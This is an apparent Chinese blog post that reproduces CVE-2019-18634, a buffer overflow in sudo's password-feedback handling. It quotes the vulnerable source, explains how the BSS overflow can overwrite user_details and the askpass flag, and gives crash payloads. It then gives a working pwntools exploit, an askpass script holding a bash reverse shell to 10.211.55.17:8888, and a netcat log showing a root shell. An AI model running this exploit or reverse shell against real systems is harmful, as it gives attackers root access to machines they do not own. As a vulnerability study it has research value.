CVE-2019-18634 复现

January 29, 2021 CVE复现 访问: 68 次

gdb中进行管道符输入

gdb> run -S id < payload.bin

漏洞成因

漏洞点在getln函数
tgetpass.c:308

static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz;
    ssize_t nr = -1;
    char *cp = buf;
    char c = '\0';
    debug_decl(getln, SUDO_DEBUG_CONV)

    if (left == 0) {
    errno = EINVAL;
    debug_return_str(NULL);        /* sanity */
    }

    while (--left) {
    nr = read(fd, &c, 1);
    if (nr != 1 || c == '\n' || c == '\r')
        break;
    if (feedback) {
        if (c == sudo_term_kill) {//sudo_term_kill=\x15
        while (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
        }
        left = bufsiz;
        continue;
        } else if (c == sudo_term_erase) {
        if (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
            left++;
        }
        continue;
        }
        ignore_result(write(fd, "*", 1));
    }
    *cp++ = c;
    }
    *cp = '\0';
    if (feedback) {
    /* erase stars */
    while (cp > buf) {
        if (write(fd, "\b \b", 3) == -1)
        break;
        --cp;
    }
    }

    debug_return_str_masked(nr == 1 ? buf : NULL);
}

bufsiz是255,没输入以为left就会减一,left是剩下可以输入的长度

如果开启feedback,就会进入到if语句里面,这里会判断我们输入的字符是否与sudo_term_killsudo_term_erase相等,当我们通过管道符进行输入的时候,sudo_term_killsudo_term_erase都是\x00,当我们输入\x00的时候就会进入到if (c == sudo_term_kill),可以看到会向fd里面输出\b \b,但是管道符是不能够进行输入的,所以这里永远返回-1,然后就会把left赋值成bufsiz,但是cp指针并没有回退到buf的起起始,就导致下次输入的时候还是从上次输入的地方进行填充,这里我们可以伪造我们的payload('a'*200+"\x00")*0x100,当填充到一个内存页边界的时候,就会触发段错误

if (feedback) {
        if (c == sudo_term_kill) {//sudo_term_kill=\x15
        while (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
        }
        left = bufsiz;
        continue;
        } else if (c == sudo_term_erase) {
        if (cp > buf) {
            if (write(fd, "\b \b", 3) == -1)
            break;
            --cp;
            left++;
        }
        continue;
        }
        ignore_result(write(fd, "*", 1));
    }

payload 测试:

cve@ubuntu:~$ python -c "print ('a'*200+'\x00')*0x100" | sudo -S id
密码:段错误 (核心已转储)

gdb里面来详细看一下是在哪里出现段错误

yiOcs1.gif

但是这种方式我们利用的是时候不能在内存上写入\x00字符,所以要用第二种方法来进行漏洞利用

https://man7.org/linux/man-pages/man3/termios.3.html

通过socak来创建一个pty来进行输入

socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(97)*100+chr(0x15))*50)'" &

调试的时候看term结构体的内容,可以发现sudo_term_killsudo_term_erase都是\x15,通过这种方法就可以输入进\x00字节

pwndbg> p term
$3 = {
  c_iflag = 1280, 
  c_oflag = 5, 
  c_cflag = 191, 
  c_lflag = 2609, 
  c_line = 0 '\000', 
  c_cc = "\003\034\177\025\004\000\001\000\021\023\032\000\022\017\027\026", '\000' <repeats 15 times>, 
  c_ispeed = 15, 
  c_ospeed = 15
}

漏洞利用

BSS溢出可以导致变量覆盖
在IDA里面看BSS段上内存分布,可以看到我们可以通过溢出buf_6188来覆盖到的变量有askpass_6187、signo、tgetpass_flags、user_details_0

.bss:00000000002218E0 buf_6188        db 100h dup(?)          ; DATA XREF: tgetpass+412↑o
.bss:00000000002219E0 ; Function-local static variable
.bss:00000000002219E0 ; const char *askpass_6187
.bss:00000000002219E0 askpass_6187    dq ?                    ; DATA XREF: tgetpass+5D↑r
.bss:00000000002219E0                                         ; tgetpass+81↑r ...
.bss:00000000002219E8                 align 20h
.bss:0000000000221A00 ; volatile sig_atomic_t signo[65]
.bss:0000000000221A00 signo           dd 41h dup(?)           ; DATA XREF: tgetpass_handler+5↑o
.bss:0000000000221A00                                         ; tgetpass+1EA↑o
.bss:0000000000221B04                 public tgetpass_flags
.bss:0000000000221B04 ; int tgetpass_flags
.bss:0000000000221B04 tgetpass_flags  dd ?                    ; DATA XREF: sudo_conversation+5F↑r
.bss:0000000000221B04                                         ; parse_args:loc_11D90↑w ...
.bss:0000000000221B08                 align 20h
.bss:0000000000221B20                 public user_details_0
.bss:0000000000221B20 ; user_details user_details_0
.bss:0000000000221B20 user_details_0  user_details <?>        ; DATA XREF: get_user_info+41↑o
.bss:0000000000221B20                                         ; get_user_info+77↑w ...
.bss:0000000000221B88                 public list_user
.bss:0000000000221B88 ; const char *list_user
.bss:0000000000221B88 list_user       dq ?                    ; DATA XREF: main+87F↑r
.bss:0000000000221B88                                         ; parse_args:loc_11DD8↑w ...

利用的时候需要配合sudo一个已有的功能:-A参数

-A, --askpass                 使用助手程序进行密码提示
  • 环境变量SUDO_ASKPASS 指定外部程序地址
  • sudo 运行加上-A选项,程序里面会设置TGP_ASKPASS 标识
  • fork 出一个子进程来运行外部程序,父进程接收子进程的输出作为密码

代码:tgetpass.c

这里验证了askpass,如果不为空的话就会设置TGP_ASKPASS

if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
        sudo_warnx(U_("no tty present and no askpass program specified"));
        debug_return_str(NULL);
    }
    SET(flags, TGP_ASKPASS);
    }

之后验证是否是-A选项就是通过TGP_ASKPASS来进行判断的,判断成功之后就会调用sudo_askpass函数来执行外部程序

if (ISSET(flags, TGP_ASKPASS)) {
    if (askpass == NULL || *askpass == '\0')
        sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
    debug_return_str_masked(sudo_askpass(askpass, prompt));
    }

sudo_askpass函数中,关键代码如下:
会把user_details.gidser_details.uid的值设置成执行外部程序的权限,而这两个值我们可以通过BSS溢出来进行覆盖成我们想要的值,比如说都覆盖成0,该有就是sudo是带有S权限的,所以setuid(0)是允许的,进而成功获取到root权限

if (setgid(user_details.gid)) {
        sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
        _exit(255);
    }
    if (setuid(user_details.uid)) {
        sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
        _exit(255);
    }
    closefrom(STDERR_FILENO + 1);
    execl(askpass, askpass, prompt, (char *)NULL);
    sudo_warn(U_("unable to run %s"), askpass);
    _exit(255);

我们该把TGP_ASKPASS覆盖成多少呢?

TGP_ASKPASS的定义在sudo.h中,我们可以设置成4、4|1、4|2、4|8、4|0x10,懂得都懂。

/*
 * Flags for tgetpass()
 */
#define TGP_NOECHO    0x00        /* turn echo off reading pw (default) */
#define TGP_ECHO    0x01        /* leave echo on when reading passwd */
#define TGP_STDIN    0x02        /* read from stdin, not /dev/tty */
#define TGP_ASKPASS    0x04        /* read from askpass helper program */
#define TGP_MASK    0x08        /* mask user input when reading */
#define TGP_NOECHO_TRY    0x10        /* turn off echo if possible */

漏洞利用流程

  • 设置环境变量SUDO_ASKPASS=/home/cve/aa.sh,但是这里不设置-A参数
  • 第一次输入通过BSS段溢出修改user_details结构体相关内容和TGP_ASKPASS
  • 在第二次输入的时候就会执行我们指定的脚本了

exp

import sys,os
from pwn import *

TARGET=os.path.realpath("/usr/local/bin/sudo")

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

p = process([TARGET,"-S", "id"],stdin=fd,env={'SUDO_ASKPASS':'/home/cve/aa.sh'})

payload = '\x00\x15'*548+p64(4)+'\x00\x15'*20+p64(0)*2+p32(0)+'\x00'*3
payload = "\x00"*200+'\x15'+"\x00"*200+'\x15'+"\x00"*148+'\x15'+p32(4)+"\x00"*0x30
os.write(mfd, payload+"\n")
pause()

攻击效果:

cve@ubuntu:~$ cat aa.sh
#!/bin/bash
bash -i >& /dev/tcp/10.211.55.17/8888 0>&1
cve@ubuntu:~$ python exp.py 
[+] Starting local process '/usr/local/bin/sudo': pid 27648
[*] Paused (press any to continue)




[root@centos-linux ~]# nc -lvvp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.211.55.9.
Ncat: Connection from 10.211.55.9:37634.
root@ubuntu:/home/cve# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/cve#

添加新评论